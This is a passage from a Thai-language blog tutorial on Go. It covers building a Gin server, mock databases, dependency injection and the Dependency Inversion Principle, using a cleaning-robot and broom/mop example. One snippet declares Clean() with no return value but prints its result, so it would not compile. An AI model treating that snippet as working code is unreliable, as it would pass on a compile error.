	// &#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE23;&#xE31;&#xE19; Server
	if err := r.Run(&quot;:8080&quot;); err != nil {
		log.Fatalf(&quot;Failed to run server: %v&quot;, err)
	}
}</code></pre><p>Compile Code &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go build &#xE23;&#xE31;&#xE19; Program &#xE41;&#xE25;&#xE49;&#xE27;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; API &#xE1C;&#xE48;&#xE32;&#xE19; Browser</p><pre><code>go build cmd/main.go

./main </code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-18-at-10.04.04.png" class="kg-image" alt loading="lazy" width="2000" height="1140" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2567-08-18-at-10.04.04.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2567-08-18-at-10.04.04.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2567-08-18-at-10.04.04.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2567-08-18-at-10.04.04.png 2400w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-18-at-10.04.35.png" class="kg-image" alt loading="lazy" width="1690" height="954" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2567-08-18-at-10.04.35.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2567-08-18-at-10.04.35.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2567-08-18-at-10.04.35.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-18-at-10.04.35.png 1690w" sizes="(min-width: 720px) 720px"></figure><p><strong>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Mock Database</strong></p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE07;&#xE48;&#xE32;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Unit Test &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23; Mock Database (&#xE01;&#xE32;&#xE23;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;) &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE21;&#xE31;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; &#xE01;&#xE48;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Integration Test &#xE01;&#xE31;&#xE1A; Database &#xE08;&#xE23;&#xE34;&#xE07;&#xE43;&#xE19;&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; Program &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE25;&#xE31;&#xE1A;&#xE01;&#xE31;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Mock Database &#xE41;&#xE25;&#xE30; Database &#xE08;&#xE23;&#xE34;&#xE07; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE31;&#xE1A; Code &#xE2B;&#xE25;&#xE31;&#xE01;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE14;&#xE49;&#xE27;&#xE22;&#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04; <strong>Dependency Injection</strong></p><p>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE25;&#xE31;&#xE1A; Database &#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;&#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04; Dependency Injection<strong> </strong>&#xE22;&#xE31;&#xE07;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE35;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Program &#xE41;&#xE25;&#xE30; Database &#xE04;&#xE39;&#xE48;&#xE02;&#xE19;&#xE32;&#xE19;&#xE01;&#xE31;&#xE19;&#xE44;&#xE1B;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE07;&#xE27;&#xE25;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE40;&#xE01;&#xE34;&#xE14;&#xE1C;&#xE25;&#xE01;&#xE23;&#xE30;&#xE17;&#xE1A;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE19;</p><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04; Dependency Injection &#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23; <strong><a href="https://en.wikipedia.org/wiki/SOLID?ref=blog.pjjop.org">SOLID</a></strong> &#xE42;&#xE14;&#xE22; Robert C. &#xE43;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE17;&#xE35;&#xE48; 5 &#xE17;&#xE35;&#xE48;&#xE41;&#xE19;&#xE30;&#xE19;&#xE4D;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Interface &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE25;&#xE14;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A; (<strong>Dependency Inversion Principle; DIP</strong>)</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/dip.png" class="kg-image" alt loading="lazy" width="2000" height="921" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/dip.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/dip.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/dip.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/09/dip.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32; Module A &#xE43;&#xE19;&#xE20;&#xE32;&#xE1E; &#xE04;&#xE37;&#xE2D; &#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE1A;&#xE49;&#xE32;&#xE19; (<strong>CleaningRobot</strong>) &#xE41;&#xE25;&#xE30; &#xA0;Module B &#xE04;&#xE37;&#xE2D; &#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14; (<strong>Broom</strong>) &#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19; (<strong>Mop</strong>) &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE14;&#xE39;&#xE14;&#xE1D;&#xE38;&#xE48;&#xE19; (<strong>VacuumCleaner</strong>) &#xE2A;&#xE48;&#xE27;&#xE19; Interface A &#xE04;&#xE37;&#xE2D;<strong> &#xE02;&#xE49;&#xE2D;&#xE15;&#xE01;&#xE25;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32; </strong>&#xE27;&#xE48;&#xE32;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE04;&#xE27;&#xE23;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; (<strong>Method</strong>) &#xE2D;&#xE30;&#xE44;&#xE23;&#xE1A;&#xE49;&#xE32;&#xE07;</p><p><strong>&#xE01;&#xE48;&#xE2D;&#xE19;&#xE43;&#xE0A;&#xE49; DIP </strong>&#xE43;&#xE19;&#xE20;&#xE32;&#xE1E;&#xE14;&#xE49;&#xE32;&#xE19;&#xE0B;&#xE49;&#xE32;&#xE22; &#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C; (A) &#xE08;&#xE30;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32;&#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14; (B) &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;</p><pre><code>// &#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14;
type Broom struct{}
func (b Broom) Sweep() string {
    return &quot;&#xE01;&#xE27;&#xE32;&#xE14;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14;&quot;
}

// &#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;
type CleaningRobot struct {
    broom Broom // Embedding Struct Broom, CleaningRobot &quot;Has-A&quot; Broom
}

func (r CleaningRobot) Clean() string {
    return r.broom.Sweep()
}</code></pre><p>&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE01;&#xE27;&#xE32;&#xE14;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14;</p><pre><code>func main() {
    robot := CleaningRobot{broom: Broom{}}
    fmt.Println(robot.Clean()) // &#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;: &#xE01;&#xE27;&#xE32;&#xE14;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14;
}</code></pre><p>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE16;&#xE49;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Code &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><ol><li>&#xE15;&#xE49;&#xE2D;&#xE07; <strong>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; struct &#xE02;&#xE2D;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;</strong> &#xE42;&#xE14;&#xE22;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; broom Broom &#xE40;&#xE1B;&#xE47;&#xE19; mop Mop</li><li>&#xE15;&#xE49;&#xE2D;&#xE07; <strong>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Method Clean()</strong> &#xE42;&#xE14;&#xE22;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01; r.broom.Sweep() &#xE40;&#xE1B;&#xE47;&#xE19; r.mop.Mop()</li><li>&#xE15;&#xE49;&#xE2D;&#xE07; <strong>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE43;&#xE2B;&#xE21;&#xE48;</strong> &#xE42;&#xE14;&#xE22;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE08;&#xE32;&#xE01; CleaningRobot{broom: Broom{}} &#xE40;&#xE1B;&#xE47;&#xE19; CleaningRobot{mop: Mop{}}</li></ol><pre><code>// &#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;
type Mop struct{}
func (m Mop) Mop() string {
    return &quot;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;&quot;
}

// &#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;
type CleaningRobot struct {
	mop Mop // Embedding Struct Mop, CleaningRobot &quot;Has-A&quot; Mop
}

func (r CleaningRobot) Clean() {
	r.mop.Mop()
}

</code></pre><p>&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;</p><pre><code>func main() {
    newRobot := CleaningRobot{mop: Mop{}}
    fmt.Println(newRobot.Clean()) // &#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;: &#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/dip-1.png" class="kg-image" alt loading="lazy" width="2000" height="921" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/dip-1.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/dip-1.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/dip-1.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/09/dip-1.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><strong>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE43;&#xE0A;&#xE49; DIP</strong> &#xE43;&#xE19;&#xE20;&#xE32;&#xE1E;&#xE14;&#xE49;&#xE32;&#xE19;&#xE02;&#xE27;&#xE32; &#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C; (A) &#xE08;&#xE30;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32; <strong>CleaningTool Interface</strong> (Interface A) &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; (B) &#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07; <strong>Implement CleaningTool Interface</strong> &#xE41;&#xE17;&#xE19; &#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE01;&#xE47;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22; <strong>&#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE39;&#xE49;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE0A;&#xE19;&#xE34;&#xE14;</strong></p><pre><code>// &#xE02;&#xE49;&#xE2D;&#xE15;&#xE01;&#xE25;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE27;&#xE48;&#xE32;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE43;&#xE14;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Method &quot;Clean()&quot;
// &#xE08;&#xE30;&#xE16;&#xE37;&#xE2D;&#xE27;&#xE48;&#xE32;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE19;&#xE31;&#xE49;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19; CleaningTool
type CleaningTool interface {
    Clean() string
}

// &#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14; &#xE17;&#xE33;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE02;&#xE2D;&#xE07; CleaningTool Interface &#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19;
// &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14;&#xE08;&#xE36;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; CleaningTool
type Broom struct{}
func (b Broom) Clean() string {
    return &quot;&#xE01;&#xE27;&#xE32;&#xE14;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE41;&#xE25;&#xE49;&#xE27;&quot;
}

</code></pre><p>&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48; A &#xE08;&#xE30;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32; B &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE15;&#xE2D;&#xE19;&#xE19;&#xE35;&#xE49; B &#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE1D;&#xE48;&#xE32;&#xE22;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE01;&#xE31;&#xE1A; Interface A<br>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23; &quot;<strong>&#xE01;&#xE25;&#xE31;&#xE1A;&#xE17;&#xE34;&#xE28;</strong>&quot; &#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32; &#xE15;&#xE32;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23; <strong>Dependency Inversion &#xE02;&#xE2D;&#xE07; </strong>SOLID &#xE19;&#xE31;&#xE48;&#xE19;&#xE40;&#xE2D;&#xE07;</p><pre><code>// &#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;
type CleaningRobot struct {
	// Embedding Interface CleaningTool,
	// CleaningRobot &quot;Has-A&quot; CleaningTool
	tool CleaningTool 
}

// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE21;&#xE48;
func NewCleaningRobot(t CleaningTool) *CleaningRobot {
	return &amp;CleaningRobot{tool: t}
}

// &#xE43;&#xE2B;&#xE49;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;
func (r *CleaningRobot) DoClean() string {
	return r.tool.Clean()
}</code></pre><p>&#xE21;&#xE2D;&#xE1A;&#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE49;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C; &#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE01;&#xE27;&#xE32;&#xE14;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14;</p><pre><code>func main() {
    // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14;
    broomRobot := NewCleaningRobot(Broom{})
    fmt.Println(broomRobot.DoClean())  // &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C; &quot;&#xE01;&#xE27;&#xE32;&#xE14;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE41;&#xE25;&#xE49;&#xE27;&quot;
}</code></pre><p>&#xE16;&#xE49;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19; &#xE40;&#xE23;&#xE32;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; struct &#xE41;&#xE25;&#xE30; Method Clean() &#xE02;&#xE2D;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19; Code &#xE01;&#xE48;&#xE2D;&#xE19;&#xE43;&#xE0A;&#xE49; DIP &#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE41;&#xE15;&#xE48;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE02;&#xE36;&#xE49;&#xE19;&#xE21;&#xE32;&#xE41;&#xE17;&#xE19;</p><pre><code>// &#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19; &#xE17;&#xE33;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE02;&#xE2D;&#xE07; CleaningTool Interface &#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19;
// &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE08;&#xE36;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; CleaningTool
type Mop struct{}

func (m Mop) Clean() string {
    return &quot;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE23;&#xE49;&#xE2D;&#xE22;&quot;
}

func main() {
    // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;
    mopRobot := NewCleaningRobot(Mop{})
    fmt.Println(mopRobot.DoClean())  // &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C; &quot;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE23;&#xE49;&#xE2D;&#xE22;&quot;
}</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32; <strong>Inject</strong> (&#xE09;&#xE35;&#xE14;) CleaningTool <strong>&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Function</strong> &quot;NewCleaningRobot&quot; <strong>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE43;&#xE2B;&#xE21;&#xE48;</strong> &#xE42;&#xE14;&#xE22;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE39;&#xE49;&#xE27;&#xE48;&#xE32; CleaningTool &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; <strong>Interface</strong> 